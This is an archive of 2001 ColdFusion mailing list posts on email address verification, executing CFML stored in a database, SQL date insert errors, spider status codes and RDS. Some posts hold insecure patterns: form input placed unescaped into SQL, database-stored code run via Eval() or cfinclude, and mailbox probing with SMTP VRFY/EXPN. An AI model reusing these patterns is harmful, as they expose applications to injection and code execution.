Is there a way to ping an email address to verify that the mailbox exists? It doesn't neccessarily have to be a CF routine either... Thanks, Steve ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: Can I run CFML code that I pull form my database?
And PLEASE be aware that this is potentially very dangerous. Do YOU have full control over what goes in and out of the database? Be aware of your risks before you take this action. -Original Message- From: Billy Cravens [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 12:46 PM To: CF-Talk Subject: Re: Can I run CFML code that I pull form my database? Wrap the string from SQL Server in an #Eval()# statement. It'll take a bit of escaping a whatnot, but it should work. -- Billy Cravens HR Web Development, Sabre [EMAIL PROTECTED] Robert J. Bailey wrote: OK, here is what I am doing. I am executing a stored procedure which grabs some code from my SQL server and then displays it on the page. Mostly what this is for is my forms, which I would like to keep in the DB so I can easily change them. The problem being that the CFFORM tag as well as my CFINPUT tags do not execute when doing this and it displays the tag CFFORM etc in the browser. I am not good at explaining things so if I did not do a good enough job trying to ask this question, please let me know. Thanks for all that will have a solution that I can implement. Robert J. Bailey (646) 526-4536 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: syntax error when inserting date
Your problem is most likely due to the format of the date. If the data field in the database is of type 'Date' you would have to use CreateODBCDate(Form.Date) in order to change the text to an ODBC date format. Regards, Rob Rusher Spectra Architect, Certified ColdFusion Instructor + Developer, Certified Java Programmer email: [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] phone: 303-885-7044 plan, build and integrate interactive applications and e-business services to enhance knowledge sharing, e-commerce and business communications initiatives -Original Message- From: megan sherman [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 8:02 AM To: CF-Talk Subject: syntax error when inserting date Hi all, My action template is supposed to insert classID, location and date into a table in my database. When creating new records in the form I provide, I want the user to be able to supply a comma delimited list of dates. I think the loop in the action template successfully extracts individual dates from the date list, but there is a syntax error in the insert command. Everything works if I don't try to insert the date, so that must be where the syntax error occurs. Can anybody tell me what my date syntax error is? Thanks in advance! Megan The action template code is shown below CFIF IsDefined(FORM.scheduleID) CFUPDATE DATASOURCE=calkayak TABLENAME=class_schedule CFELSE cfoutput cfset dategroup=form.date cfloop index=x from=1 to=#ListLen(dategroup)# cfset onedate=ListGetAt(dategroup,#x#) cfquery datasource=calkayak insert into class_schedule (classID, location, date) values(#form.classID#, '#form.location#', '#onedate#') /cfquery /cfloop /cfoutput /CFIF Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: OT: Spider 404s
On 9 May 2001, at 11:15, Nick McClure wrote: You should be able to check CFHTTP.StatusCode this will be equal to 404 or 500. 200 is a successful request. Yes, that's the way it's supposed to work. Unfortunately, a bunch of people out there have configured their servers to return status 200 even for requests for nonexistent pages. It makes things hard for spider writers, and results in clutter for search-engine databases. Some of these server admins do it to avoid having their custom 404 pages hidden by IE's damned friendly error messages. Regardless of the reason, it's a bad idea and yet another bit of Microsoftian damage to the idea of standards. A better way to do avoid IE's interference is to make sure the custom page contents are longer than 512 (or maybe it's 1024) bytes. I think that requests for nonexistent .cfm files result in status 200 for the usual configuration of IIS as well, so that could be another contribution to the problem. Keith C. Ivey [EMAIL PROTECTED] Webmaster, EEI Communications 66 Canal Center Plaza, Suite 200 Alexandria, VA 22314 Telephone: 703-683-0683 Fax: 703-683-4915 Web Site: http://www.eeicommunications.com ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Highlighting Text
Hi! How do I go about... Having the Keyword highlighted throughout page. For example the keyword 'sales' would be shadowed in yellow. I've looked into the CF_Findit custom tag, but it's not quite what I need. It would be nice to highlight all the keywords at once. How about looping through each line and then each word..., but how do I tell it to loop through the entire page (including dynamically filled areas)? This is a tough one :) Thanks, Christine ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
OT: How to set up PWS to process CGI scripts?
Hi Everybody, Sorry for the OT post, but I need to find out some info on this topic quick. I need to know if it's possible to set up PWS to process cgi scripts. I'm on a Win 98 SE box. If yes can someone point me to any resources or downloads? I really apreciate any help. Thanks a lot. Robert Obreczarek _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: Pinging an email address
you can telnet to a mail server (they usually have exposure to the internet). 1) lookup the MX record for a domain 2) telnet to that mail server (usually on port 25) 3) do VRFY (username) or EXPN (username) however, those commands are unavailable sometimes for privacy/security reasons. or...sometimes you can FINGER an address. from a command line, use FINGER username@domain. but that's one way to verify it exists. you could also send an email to it and have a bot watch for undeliverable returns. no telling how long that would take to receive though. mail servers are configured differently for that both on the outbound and the inbound. --dylan -Original Message- From: Steve Reich [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 12:59 PM To: CF-Talk Subject: Pinging an email address Is there a way to ping an email address to verify that the mailbox exists? It doesn't neccessarily have to be a CF routine either... Thanks, Steve ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: Pinging an email address
There is no explicit way to 'ping' an email address the best and only way to do it is send an email to that address. If the host rejects the email the address is invalid. If the email is accepted it's likely valid. Typically the best way to verify an email address is to have the user click on a link inside the email that directs to a page you have and then flags the entry in the database as a valid email address. Chris -Original Message- From: Steve Reich [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 2:59 PM To: CF-Talk Subject: Pinging an email address Is there a way to ping an email address to verify that the mailbox exists? It doesn't neccessarily have to be a CF routine either... Thanks, Steve ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: Pinging an email address
you can not ping an email, but there are some ways to determine if the email exists. Will take some extra work on your end and more then likely you are not going to know right away. Try connecting to the SMTP server that you want to check mail against. When you connect to the SMTP, which is usually port 25, you want to try to send a mail to the user to see if the box exists. I had to do this on a job a few years ago so I am not remembering the syntax but I can look it up for you if you would like. If there is no mailbox by that name on the server, it should return an error of 550 and state it is not a valid mailbox on the system. Let me know if this helps. Thanks Robert J. Bailey (646) 526-4536 -Original Message- From: Steve Reich [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 3:59 PM To: CF-Talk Subject: Pinging an email address Is there a way to ping an email address to verify that the mailbox exists? It doesn't neccessarily have to be a CF routine either... Thanks, Steve ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: syntax error when inserting date
Remember that date is a key word in sql and will produce undesired results if a field in a table is named date as in your code snippet. insert into class_schedule (classID, location, date) Try changing the field name to aDate or lastupdated or something. Bryan - Original Message - From: [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 3:06 PM Subject: RE: syntax error when inserting date Your problem is most likely due to the format of the date. If the data field in the database is of type 'Date' you would have to use CreateODBCDate(Form.Date) in order to change the text to an ODBC date format. Regards, Rob Rusher Spectra Architect, Certified ColdFusion Instructor + Developer, Certified Java Programmer email: [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] phone: 303-885-7044 plan, build and integrate interactive applications and e-business services to enhance knowledge sharing, e-commerce and business communications initiatives -Original Message- From: megan sherman [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 8:02 AM To: CF-Talk Subject: syntax error when inserting date Hi all, My action template is supposed to insert classID, location and date into a table in my database. When creating new records in the form I provide, I want the user to be able to supply a comma delimited list of dates. I think the loop in the action template successfully extracts individual dates from the date list, but there is a syntax error in the insert command. Everything works if I don't try to insert the date, so that must be where the syntax error occurs. Can anybody tell me what my date syntax error is? Thanks in advance! Megan The action template code is shown below CFIF IsDefined(FORM.scheduleID) CFUPDATE DATASOURCE=calkayak TABLENAME=class_schedule CFELSE cfoutput cfset dategroup=form.date cfloop index=x from=1 to=#ListLen(dategroup)# cfset onedate=ListGetAt(dategroup,#x#) cfquery datasource=calkayak insert into class_schedule (classID, location, date) values(#form.classID#, '#form.location#', '#onedate#') /cfquery /cfloop /cfoutput /CFIF Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: Can I run CFML code that I pull form my database?
Yes, I am aware of this, also I am the only one with access to my SQL server. Robert J. Bailey (646) 526-4536 -Original Message- From: Jann VanOver [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 4:04 PM To: CF-Talk Subject: RE: Can I run CFML code that I pull form my database? And PLEASE be aware that this is potentially very dangerous. Do YOU have full control over what goes in and out of the database? Be aware of your risks before you take this action. -Original Message- From: Billy Cravens [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 12:46 PM To: CF-Talk Subject: Re: Can I run CFML code that I pull form my database? Wrap the string from SQL Server in an #Eval()# statement. It'll take a bit of escaping a whatnot, but it should work. -- Billy Cravens HR Web Development, Sabre [EMAIL PROTECTED] Robert J. Bailey wrote: OK, here is what I am doing. I am executing a stored procedure which grabs some code from my SQL server and then displays it on the page. Mostly what this is for is my forms, which I would like to keep in the DB so I can easily change them. The problem being that the CFFORM tag as well as my CFINPUT tags do not execute when doing this and it displays the tag CFFORM etc in the browser. I am not good at explaining things so if I did not do a good enough job trying to ask this question, please let me know. Thanks for all that will have a solution that I can implement. Robert J. Bailey (646) 526-4536 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: Can I run CFML code that I pull form my database?
Robert, Considering I've seen other replies to this post that were considerably inaccurate, I'll give you a proper solution. The way to solve this problem is to take the data from the database write it to a file and then use cfinclude to include the file back in and thus have the code executed. Now, there is a danger in using this method, because someone could fill out a form and have code written into your database that may cause damage to your system. However you could easily filter the users input and strip out any tags they may have put into the form. Using evaluate() will work, provided however, you are only using CF functions and not using tags. Since you are using tags this method is not an option. Chris -Original Message- From: Robert J. Bailey [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 1:28 PM To: CF-Talk Subject: Can I run CFML code that I pull form my database? OK, here is what I am doing. I am executing a stored procedure which grabs some code from my SQL server and then displays it on the page. Mostly what this is for is my forms, which I would like to keep in the DB so I can easily change them. The problem being that the CFFORM tag as well as my CFINPUT tags do not execute when doing this and it displays the tag CFFORM etc in the browser. I am not good at explaining things so if I did not do a good enough job trying to ask this question, please let me know. Thanks for all that will have a solution that I can implement. Robert J. Bailey (646) 526-4536 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: syntax error when inserting date
Actually the problem is that you have a field in your database named 'Date' this is a reserved word and cannot be used as a field name in your db. Try changing the field name to something like 'mydate' or some other equivalent and try your code again, you will likely see better results. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 3:06 PM To: CF-Talk Subject: RE: syntax error when inserting date Your problem is most likely due to the format of the date. If the data field in the database is of type 'Date' you would have to use CreateODBCDate(Form.Date) in order to change the text to an ODBC date format. Regards, Rob Rusher Spectra Architect, Certified ColdFusion Instructor + Developer, Certified Java Programmer email: [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] phone: 303-885-7044 plan, build and integrate interactive applications and e-business services to enhance knowledge sharing, e-commerce and business communications initiatives -Original Message- From: megan sherman [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 8:02 AM To: CF-Talk Subject: syntax error when inserting date Hi all, My action template is supposed to insert classID, location and date into a table in my database. When creating new records in the form I provide, I want the user to be able to supply a comma delimited list of dates. I think the loop in the action template successfully extracts individual dates from the date list, but there is a syntax error in the insert command. Everything works if I don't try to insert the date, so that must be where the syntax error occurs. Can anybody tell me what my date syntax error is? Thanks in advance! Megan The action template code is shown below CFIF IsDefined(FORM.scheduleID) CFUPDATE DATASOURCE=calkayak TABLENAME=class_schedule CFELSE cfoutput cfset dategroup=form.date cfloop index=x from=1 to=#ListLen(dategroup)# cfset onedate=ListGetAt(dategroup,#x#) cfquery datasource=calkayak insert into class_schedule (classID, location, date) values(#form.classID#, '#form.location#', '#onedate#') /cfquery /cfloop /cfoutput /CFIF Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: Highlighting Text
There's a Custom Tag that I think does just that in Allaire the name is CF_Highlight CF_Highlight takes a list of substrings, and highlights them in a larger text string. For example, it can be used to highlight search terms on the results page from a search engine. It requires CF 3.01 or above to run. Regards Jose Alberto Guerra Ugalde Mail: [EMAIL PROTECTED] My ICQ page: http://www.mirabilis.com/1607021 My ICQ:1607021 - Original Message - From: Christine Kelley [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 1:11 PM Subject: Highlighting Text Hi! How do I go about... Having the Keyword highlighted throughout page. For example the keyword 'sales' would be shadowed in yellow. I've looked into the CF_Findit custom tag, but it's not quite what I need. It would be nice to highlight all the keywords at once. How about looping through each line and then each word..., but how do I tell it to loop through the entire page (including dynamically filled areas)? This is a tough one :) Thanks, Christine ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
disabling RDS
I have disabled the RDS service on our NT server but get the following error in the executive log: Error,TID=104,05/09/01,00:41:34,Unexpected Windows NT error number 1058 occurred while attempting to start the RDS service. Is it possible to completely disable the RDS service? Thanks, Brook Davies Maracasmedia Inc. ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists